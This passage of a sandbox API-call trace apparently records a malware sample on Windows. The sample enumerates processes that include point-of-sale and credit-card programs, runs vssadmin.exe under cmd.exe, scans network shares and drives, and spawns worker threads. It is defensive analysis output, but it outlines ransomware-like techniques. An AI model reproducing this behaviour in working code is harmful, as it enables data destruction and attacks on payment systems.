th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0072.689] lstrlenW (lpString="winscp.exe") returned 10 [0072.689] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0072.691] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0072.691] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0072.692] lstrlenW (lpString="active-charge.exe") returned 17 [0072.692] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0072.693] lstrlenW (lpString="accupos.exe") returned 11 [0072.693] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0072.694] lstrlenW (lpString="afr38.exe") returned 9 [0072.694] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0072.696] lstrlenW (lpString="aldelo.exe") returned 10 [0072.696] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0072.697] lstrlenW (lpString="ccv_server.exe") returned 14 [0072.697] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0072.856] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0072.856] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0072.857] lstrlenW (lpString="creditservice.exe") returned 17 [0072.857] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0072.858] lstrlenW (lpString="edcsvr.exe") returned 10 [0072.858] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0072.859] lstrlenW (lpString="fpos.exe") returned 8 [0072.859] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0072.861] lstrlenW (lpString="isspos.exe") returned 10 [0072.861] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0072.862] lstrlenW (lpString="mxslipstream.exe") returned 16 [0072.862] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0072.863] lstrlenW (lpString="omnipos.exe") returned 11 [0072.863] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0072.864] lstrlenW (lpString="spcwin.exe") returned 10 [0072.864] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0072.865] lstrlenW (lpString="spgagentservice.exe") returned 19 [0072.865] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0072.866] lstrlenW (lpString="utg2.exe") returned 8 [0072.866] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="complicatedprivacy.exe")) returned 1 [0072.867] lstrlenW (lpString="complicatedprivacy.exe") returned 22 [0072.867] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="increases.exe")) returned 1 [0072.868] lstrlenW (lpString="increases.exe") returned 13 [0072.868] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0072.869] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0072.869] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0072.870] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0072.870] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0072.871] lstrlenW (lpString="driver.exe") returned 10 [0072.871] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0072.872] lstrlenW (lpString="cmd.exe") returned 7 [0072.872] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0072.873] lstrlenW (lpString="conhost.exe") returned 11 [0072.873] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0072.875] lstrlenW (lpString="vssadmin.exe") returned 12 [0072.875] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0072.876] lstrlenW (lpString="VSSVC.exe") returned 9 [0072.876] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.877] lstrlenW (lpString="svchost.exe") returned 11 [0072.877] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0072.878] lstrlenW (lpString="LogonUI.exe") returned 11 [0072.878] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0072.879] CloseHandle (hObject=0x190) returned 1 [0072.879] Sleep (dwMilliseconds=0x1f4) Thread: id = 5 os_tid = 0x9fc [0042.737] WaitForSingleObject (hHandle=0x18fde4, dwMilliseconds=0xffffffff) returned 0xffffffff [0042.737] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f4a30 | out: hHeap=0x5c0000) returned 1 Thread: id = 6 os_tid = 0xa4c [0042.738] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a30 [0042.738] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a30, Size=0x20) returned 0x5f5b88 [0042.738] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5b88, Size=0x40) returned 0x5f6ba0 [0042.738] GetLogicalDrives () returned 0x4 [0042.738] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x63d5c8 [0042.738] GetComputerNameW (in: lpBuffer=0x63d5cc, nSize=0x235ff6c | out: lpBuffer="XDUWTFONO", nSize=0x235ff6c) returned 1 [0042.739] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1000) returned 0x64d5d0 [0042.739] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x235ff3c | out: lphEnum=0x235ff3c*=0x5f6120) returned 0x0 [0042.740] WNetEnumResourceW (in: hEnum=0x5f6120, lpcCount=0x235ff38, lpBuffer=0x64d5d0, lpBufferSize=0x235ff40 | out: lpcCount=0x235ff38, lpBuffer=0x64d5d0, lpBufferSize=0x235ff40) returned 0x103 [0042.740] WNetCloseEnum (hEnum=0x5f6120) returned 0x0 [0042.740] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x235ff3c | out: lphEnum=0x235ff3c*=0x61b550) returned 0x0 [0045.077] WNetEnumResourceW (in: hEnum=0x61b550, lpcCount=0x235ff38, lpBuffer=0x64d5d0, lpBufferSize=0x235ff40 | out: lpcCount=0x235ff38, lpBuffer=0x64d5d0, lpBufferSize=0x235ff40) returned 0x0 [0045.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1000) returned 0x6b3288 [0045.077] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x64d5d0, lphEnum=0x235ff10 | out: lphEnum=0x235ff10*=0x5f6360) returned 0x0 [0045.289] WNetEnumResourceW (in: hEnum=0x5f6360, lpcCount=0x235ff0c, lpBuffer=0x6b3288, lpBufferSize=0x235ff14 | out: lpcCount=0x235ff0c, lpBuffer=0x6b3288, lpBufferSize=0x235ff14) returned 0x103 [0045.289] WNetCloseEnum (hEnum=0x5f6360) returned 0x0 [0045.289] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1000) returned 0x3ee3850 [0045.289] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x64d5f0, lphEnum=0x235ff10 | out: lphEnum=0x235ff10*=0x0) returned 0x4b8 [0064.804] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1000) returned 0x3f4a8b8 [0064.804] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x64d610, lphEnum=0x235ff10 | out: lphEnum=0x235ff10*=0x0) returned 0x4c6 [0064.811] WNetEnumResourceW (in: hEnum=0x61b550, lpcCount=0x235ff38, lpBuffer=0x64d5d0, lpBufferSize=0x235ff40 | out: lpcCount=0x235ff38, lpBuffer=0x64d5d0, lpBufferSize=0x235ff40) returned 0x103 [0064.811] WNetCloseEnum (hEnum=0x61b550) returned 0x0 [0064.811] GetLogicalDrives () returned 0x4 [0064.811] Sleep (dwMilliseconds=0x64) [0065.964] GetLogicalDrives () returned 0x4 [0065.964] Sleep (dwMilliseconds=0x64) [0066.315] GetLogicalDrives () returned 0x4 [0066.315] Sleep (dwMilliseconds=0x64) [0066.638] GetLogicalDrives () returned 0x4 [0066.638] Sleep (dwMilliseconds=0x64) [0066.928] GetLogicalDrives () returned 0x4 [0066.928] Sleep (dwMilliseconds=0x64) [0068.316] GetLogicalDrives () returned 0x4 [0068.316] Sleep (dwMilliseconds=0x64) [0068.985] GetLogicalDrives () returned 0x4 [0068.985] Sleep (dwMilliseconds=0x64) [0069.358] GetLogicalDrives () returned 0x4 [0069.358] Sleep (dwMilliseconds=0x64) [0069.644] GetLogicalDrives () returned 0x4 [0069.644] Sleep (dwMilliseconds=0x64) [0070.458] GetLogicalDrives () returned 0x4 [0070.458] Sleep (dwMilliseconds=0x64) [0070.817] GetLogicalDrives () returned 0x4 [0070.817] Sleep (dwMilliseconds=0x64) [0071.078] GetLogicalDrives () returned 0x4 [0071.078] Sleep (dwMilliseconds=0x64) [0071.444] GetLogicalDrives () returned 0x4 [0071.444] Sleep (dwMilliseconds=0x64) [0071.911] GetLogicalDrives () returned 0x4 [0071.911] Sleep (dwMilliseconds=0x64) [0072.651] GetLogicalDrives () returned 0x4 [0072.651] Sleep (dwMilliseconds=0x64) [0072.916] GetLogicalDrives () returned 0x4 [0072.916] Sleep (dwMilliseconds=0x64) Thread: id = 7 os_tid = 0x99c [0042.743] GetTickCount () returned 0x1154b05 [0042.743] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x24) returned 0x5f7ec8 [0042.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5f7ec8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x118 [0042.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5f7ec8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0042.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5f7ec8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128 [0042.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5f7ec8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c [0042.786] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610918 [0042.786] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x610918, Size=0x20) returned 0x5f5c00 [0042.786] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610918 [0042.786] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x610918, Size=0x20) returned 0x5f5c28 [0042.787] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0043.647] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0043.647] Wow64DisableWow64FsRedirection (in: OldValue=0x249ff84 | out: OldValue=0x249ff84*=0x0) returned 1 [0043.647] lstrlenW (lpString="kernel32.dll") returned 12 [0043.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c00 | out: hHeap=0x5c0000) returned 1 [0043.647] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0043.647] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c28 | out: hHeap=0x5c0000) returned 1 [0043.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x5fb590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130 [0043.651] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0043.880] GetTickCount () returned 0x1154db3 [0043.883] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0044.241] GetTickCount () returned 0x1154ead [0044.241] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0044.505] GetTickCount () returned 0x1154f49 [0044.505] GetTickCount () returned 0x1154f49 [0044.505] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0044.952] GetTickCount () returned 0x1155091 [0044.952] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0045.236] GetTickCount () returned 0x11551a9 [0045.236] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0045.494] GetTickCount () returned 0x1155274 [0045.494] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0045.868] GetTickCount () returned 0x115534f [0045.868] GetTickCount () returned 0x115534f [0045.868] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0046.114] GetTickCount () returned 0x1155448 [0046.114] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0046.368] GetTickCount () returned 0x1155542 [0046.368] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0046.745] GetTickCount () returned 0x11556b8 [0046.745] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0046.987] GetTickCount () returned 0x1155783 [0046.987] GetTickCount () returned 0x1155783 [0046.987] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0047.287] GetTickCount () returned 0x11558ab [0047.287] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0047.635] GetTickCount () returned 0x1155a03 [0047.636] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0048.812] GetTickCount () returned 0x1155bb7 [0048.812] GetTickCount () returned 0x1155bb7 [0048.812] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0049.045] GetTickCount () returned 0x1155c92 [0049.045] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0049.350] GetTickCount () returned 0x1155dca [0049.350] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0049.581] GetTickCount () returned 0x1155eb4 [0049.581] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0049.999] GetTickCount () returned 0x1156059 [0049.999] GetTickCount () returned 0x1156059 [0049.999] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0050.511] GetTickCount () returned 0x115625c [0050.511] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0050.903] GetTickCount () returned 0x11563e2 [0050.903] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0051.429] GetTickCount () returned 0x11565b6 [0051.429] GetTickCount () returned 0x11565b6 [0051.429] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0051.699] GetTickCount () returned 0x11566cf [0051.699] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0052.122] GetTickCount () returned 0x1156874 [0052.122] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0052.584] GetTickCount () returned 0x1156a19 [0052.585] GetTickCount () returned 0x1156a19 [0052.585] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0052.836] GetTickCount () returned 0x1156b22 [0052.836] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0053.070] GetTickCount () returned 0x1156c0c [0053.070] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0053.180] GetTickCount () returned 0x1156c79 [0053.180] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0053.361] GetTickCount () returned 0x1156d25 [0053.362] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0053.757] GetTickCount () returned 0x1156e9b [0053.757] GetTickCount () returned 0x1156e9b [0053.757] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0054.055] GetTickCount () returned 0x1156fc4 [0054.055] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0054.535] GetTickCount () returned 0x1157198 [0054.535] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0054.859] GetTickCount () returned 0x11572df [0054.859] GetTickCount () returned 0x11572df [0054.859] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0055.178] GetTickCount () returned 0x1157427 [0055.178] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0055.411] GetTickCount () returned 0x1157511 [0055.411] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0055.940] GetTickCount () returned 0x1157723 [0055.940] GetTickCount () returned 0x1157723 [0055.941] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0056.299] GetTickCount () returned 0x115786b [0056.299] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0056.587] GetTickCount () returned 0x1157965 [0056.588] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0056.861] GetTickCount () returned 0x1157a7d [0056.861] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0057.220] GetTickCount () returned 0x1157be4 [0057.220] GetTickCount () returned 0x1157be4 [0057.220] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0057.583] GetTickCount () returned 0x1157d4b [0057.583] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0057.902] GetTickCount () returned 0x1157e83 [0057.902] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0058.296] GetTickCount () returned 0x1158019 [0058.296] GetTickCount () returned 0x1158019 [0058.296] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0058.792] GetTickCount () returned 0x1158170 [0058.792] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0059.482] GetTickCount () returned 0x1158373 [0059.482] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0059.853] GetTickCount () returned 0x115849b [0059.853] GetTickCount () returned 0x115849b [0059.853] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0060.189] GetTickCount () returned 0x11585f2 [0060.189] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0060.772] GetTickCount () returned 0x1158834 [0060.772] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0061.184] GetTickCount () returned 0x11589d9 [0061.184] GetTickCount () returned 0x11589d9 [0061.184] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0061.750] GetTickCount () returned 0x1158bdc [0061.750] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0062.209] GetTickCount () returned 0x1158da0 [0062.209] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0062.534] GetTickCount () returned 0x1158ec8 [0062.534] GetTickCount () returned 0x1158ec8 [0062.534] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0062.854] GetTickCount () returned 0x1159010 [0062.855] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0063.112] GetTickCount () returned 0x115910a [0063.112] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0063.445] GetTickCount () returned 0x1159261 [0063.445] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0063.731] GetTickCount () returned 0x115937a [0063.731] GetTickCount () returned 0x115937a [0063.731] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0064.071] GetTickCount () returned 0x11594d1 [0064.071] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0064.458] GetTickCount () returned 0x1159657 [0064.458] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0064.756] GetTickCount () returned 0x115977f [0064.756] GetTickCount () returned 0x115977f [0064.756] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0065.875] GetTickCount () returned 0x1159bd3 [0065.875] GetTickCount () returned 0x1159be2 [0065.882] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0066.272] GetTickCount () returned 0x1159d49 [0066.272] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0066.595] GetTickCount () returned 0x1159e91 [0066.595] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0066.922] GetTickCount () returned 0x1159fc9 [0066.922] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0068.315] GetTickCount () returned 0x115a545 [0068.316] GetTickCount () returned 0x115a545 [0068.316] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0068.985] GetTickCount () returned 0x115a7e4 [0068.985] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0069.357] GetTickCount () returned 0x115a95a [0069.357] GetTickCount () returned 0x115a95a [0069.357] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0069.644] GetTickCount () returned 0x115aa73 [0069.644] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0070.458] GetTickCount () returned 0x115ad9e [0070.458] GetTickCount () returned 0x115ad9e [0070.458] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 [0070.818] GetTickCount () returned 0x115af05 [0070.818] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x64) returned 0x102 